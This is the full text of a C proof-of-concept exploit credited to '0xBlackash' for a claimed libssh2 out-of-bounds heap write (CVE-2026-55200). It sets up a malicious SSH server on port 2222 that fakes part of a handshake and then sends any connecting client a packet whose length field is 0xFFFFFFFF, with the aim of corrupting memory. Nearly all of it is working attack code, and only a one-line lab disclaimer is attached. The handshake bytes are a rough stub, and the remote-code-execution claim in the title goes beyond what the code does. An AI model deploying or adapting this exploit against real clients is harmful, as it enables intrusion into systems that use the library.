libssh2 SSH Packet Length OOB Heap Write / Unauthenticated RCE (CVE-2026-55200)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109

/*
 * CVE-2026-55200 Reliable PoC
 * Author: Ashraf Zaryouh "0xBlackash"
 * Improved handshake + timeout handling
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <errno.h>

#define SSH_BANNER "SSH-2.0-0xBlackash-Malicious\r\n"
#define MALICIOUS_PACKET_LENGTH 0xFFFFFFFFU

void *handle_client(void *arg) {
    int client_sock = *(int *)arg;
    free(arg);
    char buffer[8192];
    ssize_t n;

    printf("[+] Client connected. Starting handshake...\n");

    // 1. Send Banner
    send(client_sock, SSH_BANNER, strlen(SSH_BANNER), 0);
    usleep(200000);

    // 2. Receive client banner
    n = recv(client_sock, buffer, sizeof(buffer)-1, 0);
    if (n > 0) buffer[n] = '\0';

    // 3. Send fake SSH_MSG_KEXINIT
    unsigned char kexinit[] = {
        0x00, 0x00, 0x00, 0x10, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    };
    send(client_sock, kexinit, sizeof(kexinit), 0);
    usleep(300000);

    // 4. Try to receive client KEXINIT
    n = recv(client_sock, buffer, sizeof(buffer), 0);

    printf("[+] Handshake stage passed. Sending malicious packet...\n");

    // 5. Malicious Packet
    unsigned char malicious[1024] = {0};
    uint32_t pkt_len = MALICIOUS_PACKET_LENGTH;
    unsigned char pad_len = 8;

    memcpy(malicious, &pkt_len, 4);
    malicious[4] = pad_len;
    memset(malicious + 5, 0x41, 700);

    size_t total = 5 + 700 + pad_len;
    send(client_sock, malicious, total, 0);

    printf("[+] Malicious packet sent (packet_length = 0x%X)\n", MALICIOUS_PACKET_LENGTH);
    printf("[!] If client uses vulnerable libssh2 <= 1.11.1 → OOB write should trigger now.\n");

    close(client_sock);
    return NULL;
}

int main(int argc, char *argv[]) {
    int server_sock, client_sock, port = 2222;
    struct sockaddr_in server_addr, client_addr;
    socklen_t addr_len = sizeof(client_addr);

    if (argc > 1) port = atoi(argv[1]);

    printf("[*] CVE-2026-55200 Reliable PoC by 0xBlackash\n");
    printf("[!] Research / Educational use ONLY in isolated lab.\n");
    printf("[+] Listening on port %d...\n", port);

    server_sock = socket(AF_INET, SOCK_STREAM, 0);
    int opt = 1;
    setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));

    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(port);

    if (bind(server_sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("bind");
        exit(1);
    }
    if (listen(server_sock, 10) < 0) {
        perror("listen");
        exit(1);
    }

    while (1) {
        client_sock = accept(server_sock, (struct sockaddr *)&client_addr, &addr_len);
        if (client_sock < 0) continue;

        printf("[+] Connection from %s:%d\n", inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));

        int *ptr = malloc(sizeof(int));
        *ptr = client_sock;

        pthread_t t;
        pthread_create(&t, NULL, handle_client, ptr);
        pthread_detach(t);
    }
}